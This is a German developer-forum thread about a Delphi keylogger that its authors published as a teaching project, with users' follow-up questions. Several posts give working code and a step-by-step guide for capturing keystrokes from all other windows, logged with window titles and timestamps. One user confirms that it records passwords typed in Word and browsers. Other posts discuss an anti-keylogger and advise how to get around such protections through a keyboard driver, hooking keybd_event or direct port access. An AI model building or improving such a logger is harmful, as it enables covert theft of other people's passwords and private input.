![]() |
KeyLogger
Aya und ich haben zusammen einen KeyLogger geschrieben. Von ihr stammt die KBHook.dll und von mir die Programmoberfläche. Uns ging es rein um das Prinzip "Wie geht das", nicht mehr und nicht weniger. Es sollte auch deutlich werden, dass wir keine bösen Absichten verfolgen, da nichts auf der Festplatte gespeichert wird oder gar an uns gesendet wird. Desweiteren ist das Programm imme rin der Taskbar sichtbar!
Die Sourcen sollten nur zu Lehrzwecken dienen und wir hoffen, dass die Sourcen nicht für illegale Zwecke mißbraucht werden. Wir haben uns entschieden die Sourcen mit zu veröffentlichen, da wir der Meinung sind, dass wer Sourcecode in dieser Richtung sucht, ihn so oder so finden wird und wenn er nur beim Hook Tutorial von Assarbad landet. Download: ![]() |
Re: KeyLogger
Und wie verwende ich euren Soure-Code nun? Muss ich irgendwelche Dateien erstellen, bevor ich die .bat-Datei ausführen kann?
Ich hatte eigentlich vor mit eurem Beispiel mehr über die verwendung herauszufinden, aber da fehlen doch einige Files. Danke für eure Hilfe, Daniel. |
Re: KeyLogger
Liste der Anhänge anzeigen (Anzahl: 1)
Ich habe ihn mal getestet um von meinem Passwort-Abfrage Program die Eingaben zu spy'en. Leider funktioniert er nicht so richtig, bzw. ich kann die Eingaben nicht filtern.
Das Program setzt bei Eingabe des Passwortes LuckieSpy.exe ausser Gefecht ! Gruß Hagen |
Re: KeyLogger
Ach du meine Güte. Was passiert den da bei OnEnter von dem Memo? Ist das Absicht oder was ist da los?
|
Re: KeyLogger
ich tipp auf keybd_event
|
Re: KeyLogger
Zitat:
Zitat:
Ich wollte damit nur zeigen das man einen Keylogger der auf Keyboard-Hooks basiert "zuschei.en" kann. Die verwendete Komponente dafür habe ich vor 4 Jahren programmiert, als Bestandteil des Delphi Encryption Compendium's. Ok, man könnte damit immer noch beträchtlich die Wahrscheinlichkeit erhöhen für eine gezielte Brute Force Attacke. Aber der programmtechnische Aufwand ist minimal, ca. 50 Zeilen Source, um damit die meisten Keylogger auszuhebeln. Zusätzlich verhindert der Anti-Keylogger noch das Lesen mit GetWindowText() usw., da die real eingegeben Zeichen garnicht mehr beim Control ankommen sondern intern verschlüsselt gespeichert werden. Somit relativiert sich die "Gefährlichkeit" den Source des Keyloggers zu veröffentlichen, denn mit wenigen Kniffen kan man sich davor schützen. Der technische/zeitliche Aufwand dafür ist geringer als einen Keylogger zu coden. Euer Keylogger sollte also entweder als Keyboard Driver programmiert werden, um direkt den Keyboardport auszulesen. Oder er sollte zumindestens keyb_event() des aktiven Prozesses hooken. Dies ist ja weniger ein Problem, da die Keyboardhook DLL schon in die betreffende Prozesse injeziert wurde. Durch den Hook von keyb_event() kann nun der Keylogger zwischen echten Tastenereignissen und simulierten unterscheiden. Gruß Hagen |
Re: KeyLogger
Zitat:
Es bestehen meiner Seits allerding keine Pläne das Ding weiter auszubauen. Die Sourcen zeigen das Prinzip und wer einen perfekten haben will, um damit Schei*e zu bauen, der soll das gefälligts selber programmieren. |
Re: KeyLogger
Hi! Also erstmal, Gratulation euch beiden. :thumb: Ich muss ganz ehrlich sagen, mich hat es etwas erschreckt, dass es, bis jetzt zumindest, alle PW Felder, sowohl bei Word etc als auch im InternetExplorer mitprotokolliert hat. :shock: Da fühl ich mich doch gleich ein kleines Stück mehr beobachtet. :mrgreen: Auf jeden Fall interessant!
Man liest sich, Stanlay :hi: |
Re: KeyLogger
Kann mir mal irgendjemand sagen, wie ich diese DLL (KBHook.dll) ansprechen kann? Ich hab sie (wie in dem Kommentar beschrieben) eingebunden. Aber dabei stehen mir dann nur die Funktionen CreateHook und DeleteHook zur Verfügung.
1.: Was soll ich dabei für "hWnd : HWND" schreiben? Etwa Application.Handle oder so? 2.: Was bringt mir das? Nachdem ich den Hook kreiert habe, kennt mein Prog immer noch nicht mehr oder weniger von dem, was eingegeben wird. :? Wie auch immer: Wäre nett, wenn mir jemand sagen könnte, was ich wie verändern muss, damit mein Prog dann auf irgendeine Art und Weise die Keys bekommt. MfG :coder: |
Re: KeyLogger
Du definierst dir eine Windows Message: WM_KEYBOARD_HOOK = WM_USER + 52012. Bei jedem Tastenanschlag sendet dir die DLL diese Message. Diese fängst du in deiner WndProc ab und im wParam der Message hast du dann das Zeichen drin stehen. Und im lParam steht das Handel des aktiven Fenster, welches gerade den Keyboardfocus hat, also wo gerade die Eingaben statt finden.
|
Re: KeyLogger
Danke erst einmal für deine Antwort. Aber ich bin (leider) praktisch nur das Programmieren in Units gewohnt. Dennoch hab ich mal mein Bestes versucht und die (meiner Meinung nach) wichtigen Teile aus Luckie's Projekt in meins gestopft.
Wie schaffe ich es jetzt aber, dass die Sachen auch in meiner Unit1 im Memo-Feld erscheinen? Soll ich dafür einen Timer bauen, der ständig irgendwie die Windows Message WM_KEYBOARD_HOOK abfragt? Oder geht das eleganter? Zitat:
Mein Projekt-Quellcode (der viel von Luckie enthält) sieht bis jetzt jedenfalls so aus:
Delphi-Quellcode:
Sorry für die vielen dummen Fragen, aber ich programmiere noch nicht sehr lange und hab daher z.T. Probleme manche überaus komplexen Prozeduren etc zu verstehen :oops:
program Project2;
uses Forms, Unit1 in 'Unit1.pas' {Form1}, windows, messages; const WM_KEYBOARD_HOOK = WM_USER + 52012; IDC_EDTLOGGER = 102; var WndTitleOld: string = ''; function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll'; function DeleteHook: Boolean; stdcall; external 'KBHook.dll'; {$R *.res} function dlgfunc(hDlg: hWnd; uMsg: dword; wParam: wParam; lParam: lParam): bool; stdcall; var MyFont: HFONT; s: string; TextLength: Integer; Buffer: PChar; EditText: string; WndTitle: array[0..255] of Char; begin result := true; case uMsg of WM_KEYBOARD_HOOK: begin TextLength := SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXTLENGTH, 0, 0); GetMem(Buffer, TextLength + 2); try SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXT, TextLength + 2, Integer(Buffer)); case wParam of VK_RETURN: EditText := string(Buffer) + #13#10; VK_BACK: begin EditText := string(Buffer); Delete(EditText, length(EditText), 1); end; VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL: EditText := string(Buffer); else EditText := string(Buffer) + string(Chr(wParam)); end; GetWindowText(lParam, @WndTitle, SizeOf(WndTitle)); if WndTitleOld <> string(WndTitle) then begin Delete(EditText, length(EditText), 1); EditText := EditText + #13#10 + '[' + string(WndTitle) + ']' + #13#10 + string(Chr(wParam)); WndTitleOld := string(WndTitle); end; SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_SETTEXT, 0, Integer(@EditText[1])); finally FreeMem(Buffer); end; end; else result := false; end; end; begin CreateHook(Application.Handle,true); Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; DeleteHook; end. Aber ich bemühe mich zumindest, alles so gut es geht zu verstehen :mrgreen: Danke! :bounce2: |
Re: KeyLogger
Hab da auch mal ne frage:
hab das so gemacht:
Delphi-Quellcode:
da kommt dann so was bei raus:
procedure Tltblform043.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean); begin Memo1.Text := Memo1.Text + Chr(Msg.wParam); end;
Code:
wobei ich testhalber A geschrieben habe (am anfang)
ÿÿÿÿÿÿÿÿÿÿHhÿHÿÿAaAÿLlLLlLÿOoOÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿDdDÿUuUÿÿÿÿÿÿ UuUÿÿUuUÿÿUuUÿÿUuUUuÿUÿÿÿÿÿ ÿÿÿ ÿÿ ÿÿ
das gibt dann Aa als result! funzt wohl so net ganz? [edit=sakura]Zeilenumbrüche zugelassen! Mfg, sakura[/edit] |
Re: KeyLogger
Hab das jetzt auch mal mit der WM probiert und genau das erlebt, was auch Meflin hatte. :wall:
Dass das aber kein Fehler der DLL sein kann, das zeigt ja wohl schon Luckie's Prog. Denn da geht es ja schließlich . :? Vielleicht kann Luckie uns da mal den entscheidenden Tipp geben, was wir falsch machen?! :gruebel: Und was bringt mir eigentlich der lParam? :roll: Der ändert sich doch auch 10mal in der Sekunde. MfG. Ergänzung: Ich hab gerade festgestellt, dass bei dem benannten Fall keinen Unterschied macht, ob ich nun die Konstante
Delphi-Quellcode:
deklariere oder nicht. Ich vermute deshalb, dass Meflin und ich den Fehler machen, dass wir einfach alle WindowMessages abfragen und nicht nur die Message WM_KEYBOARD_HOOK. Sehe ich das richtig?
const
WM_KEYBOARD_HOOK = WM_USER + 52012; Was muss ich machen, um nur diese Message zu erhalten? THX. |
Re: KeyLogger
was soll ich da groß sagen? jedes mal wenn eine taste gedrückt wurde schickt die dll an das fenster welches den hook installiert hat ein WM_KEYBOARD_HOOK (was WM_USER + 52012 entspricht). im wparam steht das zeichen und im lparam das handle von dem fenster welches gerade den eingabe focus hat.
du mußt jetzt nur noch deine wndproc überschreiben und zusätzlich WM_KEYBOARD_HOOK abfangen. |
Re: KeyLogger
die frage ist doch wie man die
keyboard_hook Message abfängt oder? |
Re: KeyLogger
Nein. Im Moment geht e darum, dass sie es nicht gebacken bekommen die DLL zu nutzen.
|
Re: KeyLogger
auch wenns vielleicht nich die frage ist,
aber ich würd trotzdem gerne wissen, wie ich an die message bessergesagt an den inhalt der message komme! *MFG* |
Re: KeyLogger
@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof! :wall: Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei! @ Luckie: Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert? Eine einfache Erweiterung von Meflin's Prozedur tut's auch:
Delphi-Quellcode:
So, jetzt einmal eine genaue Anleitung für alle, die noch nicht wissen, was sie machen sollen:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean); begin Case Msg.message of WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam); end; end; Erstellt euch zunächst eine einfache Anwendung mit einem Unit. Auf dem Formular erstellt ihr anschließend ein Memo-Feld mit dem Namen Memo1. Geht der Eigenschaft Scrollbars den Wert ssVertical und achtet darauf, dass die Eigenschaft WordWrap auf True gesetzt ist. Nun beginnt der Teil, der letztendlich die Keys in das Memo-Feld befördert: Speichert das Projekt in einem Ordner und kopiert die Dateu KBHook.dll (welche in Luckie's Source enthalten ist) mit in diesen Ordner. In Delphi folgen ein paar Klicks auf "Projekt" und "Quelltext anzeigen". Im jetzt angezeigten Programmquelltext müssen verschiedene Zeilen hinzugefügt werden: Zu "uses" muss windows und messages hinzugefügt werden. Außerdem müssen darunter zwei Funktionen, die den Hook installieren und deinstallieren, deklariert werden:
Delphi-Quellcode:
Zur Installation und Deinstallation wird jetzt direkt unter begin die Zeile
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll'; CreateHook(Application.Handle,true); und über end die Zeile DeleteHook; eingefügt. Der fertige Code sieht dann etwa so aus (die Kommentare kennzeichnen die Teile, die für den eigentlichen Hook wichtig sind):
Delphi-Quellcode:
Nun zur Unit:
program Project2;
uses Forms, Unit1 in 'Unit1.pas' {Form1}, {Begin KeyHook}windows, messages{End KeyHook}; // Begin KeyHook function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll'; function DeleteHook: Boolean; stdcall; external 'KBHook.dll'; // End KeyHook {$R *.res} begin CreateHook(Application.Handle,true); Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; DeleteHook; end. Zuerst einmal muss aus der Registerkarte "Zusätzlich" die Komponente "ApplicationEvents" hinzugefügt werden. Erstellt die Prozedur für das "OnMessage"-Ereignis und fügt folgenden Code hinzu:
Delphi-Quellcode:
Dieser Code fügt jetzt einfach die Eingaben dem Memo-Feld hinzu.
Case Msg.message of
WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam); end; Da das natürlich noch nicht sehr viele Infos birgt, sollte man einen etwas reichhaltigeren Code verwenden: Zunächst müssen zwei normale Variablen deklariert werden:
Delphi-Quellcode:
Anschließend bekommt dann die OnMessage-Prozedur folgenden Code:
Fenster_alt : longword;
Fenster_altstr : string;
Delphi-Quellcode:
Und das war es auch schon. Jetzt werden zusätzlich noch der Fenstertext, das Handle, das Datum und die Uhrzeit geloggt.
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean); var FensterText : array[0..255] of Char; rem : string; begin Case Msg.message of WM_KEYBOARD_HOOK : begin GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText)); If Fenster_alt <> Msg.lParam then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := FensterText; end else If Fenster_altstr <> Fenstertext then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := Fenstertext; end; If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10 else If Msg.wParam = VK_BACK then begin rem := memo1.text; If length(rem) > 0 then delete(rem,length(rem)-1,1); memo1.Text := rem; end else memo1.Text := memo1.Text + Char(Msg.wParam); end; end; end; Diese Infos werden immer dann "aufgeschrieben", wenn sich entweder der Fenstertext ändert (zum Beipiel beim Browsen im Web) oder das Handle (neues Fenster, evtl. sogar mit gleichem Text). Es ist also wichtig, dass sowohl Handle als auch Text geloggt werden, da sich oft nur eines ändert, es dennoch aber wichtig ist, wenn sich z.B. die Website ändert oder das Fenster ein anderes ist, das vielleicht aber zufällig die gleiche Website beinhaltet! Hier noch der fertige Code der Unit:
Delphi-Quellcode:
Ich weiß, dass diese Anleitung vielleicht etwas sehr genau war, aber ich selbst hab mich schon oft über halbe Anleitungen geärgert.
unit Unit1;
interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, AppEvnts; type TForm1 = class(TForm) Memo1: TMemo; ApplicationEvents1: TApplicationEvents; procedure ApplicationEvents1Message(var Msg: tagMSG; var Handled: Boolean); private // Begin KeyHook Fenster_alt : longword; Fenster_altstr : string; // End KeyHook { Private-Deklarationen } public { Public-Deklarationen } end; var Form1: TForm1; // Begin KeyHook const WM_KEYBOARD_HOOK = WM_USER + 52012; // End KeyHook implementation {$R *.dfm} // Begin KeyHook procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG; var Handled: Boolean); var FensterText : array[0..255] of Char; rem : string; begin Case Msg.message of WM_KEYBOARD_HOOK : begin GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText)); If Fenster_alt <> Msg.lParam then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := FensterText; end else If Fenster_altstr <> Fenstertext then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := Fenstertext; end; If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10 else If Msg.wParam = VK_BACK then begin rem := memo1.text; If length(rem) > 0 then delete(rem,length(rem)-1,1); memo1.Text := rem; end else memo1.Text := memo1.Text + Char(Msg.wParam); end; end; end; // End KeyHook end. Deshalb kann ich nur sagen: Wer die Anleitung zu genau findet, der muss sie ja nicht lesen! Allen anderen wünsche ich viel Spaß. Und noch etwas: Es gibt sicherlich viel zu verbessern... :coder: MfG. :mrgreen: |
Re: KeyLogger
Zitat:
|
Re: KeyLogger
Eben, Luckie meinte nur "Message abfangen"... und der Methoden gibt es viele. Welche ihr benutzen wollt, steht Euch offen.
|
Re: KeyLogger
das mit dem filtern hab ich auch schon probiert,
ich war dabei nur nicht so erfolgreih wie du! nur wenn Shift gepresst wird, krieg ich das zeichen:
Code:
muss ich das extra immer rausfiltern oder krieg ich das einfacher weg?*MFG* |
Re: KeyLogger
ok, funktioniert ja ganz nett.
aber wieso kommt da nur ein lokaler hook dabei raus? mein testproggie zeichnet nur keystrokes aus der eigenen anwendung auf... |
Re: KeyLogger
Dann lies dir doch einfach mal mein Hooktutorial durch und beantworte dir die Frage selber.
|
Re: KeyLogger
dein hook tutorial hab ich als allererstes gelesen!
ich hab den hook teil ja auch in eine dll ausgelagert. aber es funzt trotzdem net! |
Re: KeyLogger
Liste der Anhänge anzeigen (Anzahl: 1)
Für alle die es interessiert:
Hier habt ihr mein Beispiel als Code! :coder: MfG. |
Re: KeyLogger
Zitat:
Bei meinen eigenen Versuchen (im Zusammenhang mit ERD_SMSS) brauche ich immer bestimmte Privs, die der Admin nicht standardmäßig hat. Hast du nen Geheimtipp? Öffnen etc alles kein Problem ... aber bei bestimmten Operationen am Device scheitere ich immer an den Privs. Nachtrag: Einen Symlink auf \Device\KeyboardClass0 müßtest du natürlich auch zuerst anlegen ... sonst läuft da garnix ;) ... zumindest nicht mit Win32-API. |
Re: KeyLogger
Hi!
Ich hab mal obige Anleitung von Daniel-Volk (sehr schoen ausgefuehrt!) durchgearbeitet um dem thema etwas naeher zu kommen. hat auch schoen gefunzt, aber... gibt es eine moeglichkeit auf die dll zu verzichten und trotzdem einen globalen hook zu nutzen? sodass alles in ein einziges programm passt? (ich mag dlls nicht sonderlich :wink: ) wuerde mich ueber anregungen freuen! Best_Regards Burning_Chrome |
Re: KeyLogger
@Burning_Chrome:
Das Problem ist, dass deine Application gar nicht alles zu sehen bekommt! Ansonsten könntest du ja auch einfach "KeyPreview" auf true stellen und schon hättest du deinen Hook. Nur ein ausgelagerter Code in einer DLL ermöglicht es, dass (sobald die DLL geladen ist) alle Keys mit Hilfe einer WindowsMessage an dein Handle geschickt werden. Jetzt kannst du diese WindowsMessage abfangen und findest dann allerlei Infos über die Eingabe: Der wParam enthält das Zeichen (z.B. 35), das eingegeben wurde und der lParam (z.B. 523847 o.Ä.) das Handle des Fensters, in dem es eingegeben wurde. Nur auf diese Weise ist es möglich Windows' Befehlsverteilung zu umgehen. @negaH: Nicht schlecht. Auch meine Version des KeyLogProgs kann nichts gegen dein Prog ausrichten. Wie hast du das geschafft? Simulierst du Tastenschläge oder was? Aber leider verwendet deine Technik weder der IE (oder ein anderer Browser; Stichwort: "Onlinebanking") noch Steganos SecuritySuite 5! Wenn jetzt nicht einmal die Bankingprogramme auf die Idee kommen sowas zu unterbinden, dann ist das doch purer Leichtsinn! :roll: *unsicherfühl* Zumindest das Kennwort der WinXP-Anmeldung (auch Screensaver) wird nicht geloggt, aber darauf kann man auch pfeifen, da das mit dem richtigen Toll eh in einer Minute gelöscht werden kann. (Hab ich selbst schon getestet.) MfG. |
Re: KeyLogger
@daniel-volk: Fast richtig bzw unvollständing. Der Code muß nicht nur in einer DLL liegen, sondern, genauso wichtig, sonst geht es nämlich nicht, die DLL muß in den Prozessraum der anderen Anwendungen geladen werden. Man spricht dann von "injezieren".
Hier: ![]() |
Re: KeyLogger
@daniel-volk
Zitat:
Die Funktionalität des Anti-Keyspyers ist also "angedockt" an ein belieges TWinControl. Zitat:
Steganos ist so weit verbreitet da sie mit einer aggresiven Werbung arbeiten. Gehe mal auf die Suche nach harten Fakten wie Steganos arbeitet. Versuche mal in Erfahrung zu bringen wie Steganos es sicherstellen will das man deren versprochene Sicherheits-Funktionen auch überprüfen kann, bzw. wie das Verfahren nun genau arbeitet ! Lustig ist es das Steganos von Steganographie, also Verstecken von Daten in anderen Daten kommt. Mein Trick arbeitet genau so, ich heisse aber nicht Steganos ! Zitat:
Das die anderen Softwarelösungen solche Techniken nicht anwenden spricht für den fehlenden Wissensstand und das Sicherheitsbewußtsein der Entscheider und Entwickler der Software. Einfacher gesagt: deren Qualität ist schei.e ! Gruß Hagen |
Re: KeyLogger
Man moege sich das so vorstellen:
Hagen und Luckie arbeiten mit Techniken auf gleicher Augenhoehe. Wuerde Luckies Keylogger Teil eines Rootkits sein, koennte Hagen sich querlegen oder auf den Kopf stellen ... Luckie kaeme an alle Tastenschlaege ran. Warum Leute (Scriptkiddies) einen Hook fuer Keylogger haben wollen ist mir nach wie vor ein Raetsel, ich habe meine Beispiele dazu geschrieben, damit ich auf sie verweisen kann sobald mal wieder eine solche Frage kommt. IMO gibt es so langsam aber genug Beispiele in freier Wildbahn, damit auch Scriptkiddies gut genaehrt werden ;) ... Das mit dem Logon-Bildschirm hatten wir nun auch schon x-mal. Es ist ein anderer Desktop. Deswegen koennen bestimmte Sachen eben nicht ueber diese Barriere hinweg. Wer es unbedingt versuchen moechte, kann ja einen Service schreiben. Aber ich vermute, dass das Ergebnis das gleiche bleiben wird. |
Re: KeyLogger
:gruebel: Ich hab mir das Ding auch mal runtergeladen um es mal zu testen. Und ich hab da auch ein kleines Problem:
Zitat:
Zitat:
Bis auf diesen kleinen Bug :roll: ist es wirklich ein Top-Programm! Großes Lob an Aya und dich! :thuimb: MfG Florian :hi: [EDIT] Zitat:
[/EDIT] [EDIT 2] Warum funktioniert eigentlich kein C&P??? [/EDIT 2] |
Re: KeyLogger
Dies ist kein Bug. Man muss nur zwischen Keyup und Keydown filtern ... dann haste kein Doppler mehr drin. Das Beispiel bei meinem Hooktut hat dazu sogar einen Viewer, welcher die Logdatei mit solchen sinistren Details anzeigt.
|
Re: KeyLogger
Das Problem kann auch sein, dass du das Prog zweimal geöffnet hast. Dann ist nämlich auch die DLL doppelt geladen und schon gibt's immer zwei Events!
|
Re: KeyLogger
... was man mit einem Mutex oder aehnlichem ja leicht unterbinden koennte ;)
|
Re: KeyLogger
Hi!
@Assarbad: Also ich brauche die funktion fuer folgendes projekt: ein kleines programm laeuft im hintergrund und wartet auf einen hotkey. nach druck des hotkeys werden die nachfolgenden tastendrucke mitprotokolliert bis der hotkey wieder gedrueckt wird. nun wird noch der naechste tastendruck ermittelt der dann als zusaetzlicher hotkey fuer die eingegebene tastenkombination gueltig ist. drueckt man nun diesen neuen hotkey so wird die aufgezeichnete tastenfolge simuliert an das programm geschickt das bei der aufnahme aktiv war. sinn ist, fuer laufende programme tastaturmakros in echtzeit und abhaengig vom laufenden prozess eingeben und abarbeiten zu koennen. Best_Regards Burning_Chrome |
Re: KeyLogger
Könntet ihr bitte für alles, was nicht den Keylogger betrifft einen neuen Thread machen? das wird hier sonst etwas zu offtopic.
|
Re: KeyLogger
@Hagen: mit einem LowLevel-KeyboardHook kann man zwischen Tastaturanschlägen die vom Tastaturtreiber kommen und jenen die per keybd_event simuliert wurden unterscheiden... durch direktes ansprechen des Tastaturportes könnte man diese Filterung aber auch wieder umgehen oder? Was mich jetzt aber interessieren würde.. wie manipulierst du den Tastaturport?
|
Re: KeyLogger
Zitat:
Entweder ein eigener Treiber oder in Win9x über Ring0 Code oder in Win2k über GiveIO um die Zugriffsrechte zu erlangen um mit Ports zu arbeiten. Gruß Hagen |
Re: KeyLogger
Ok, Treiber ist klar, aber was meinst du mit
Zitat:
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 10:44 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz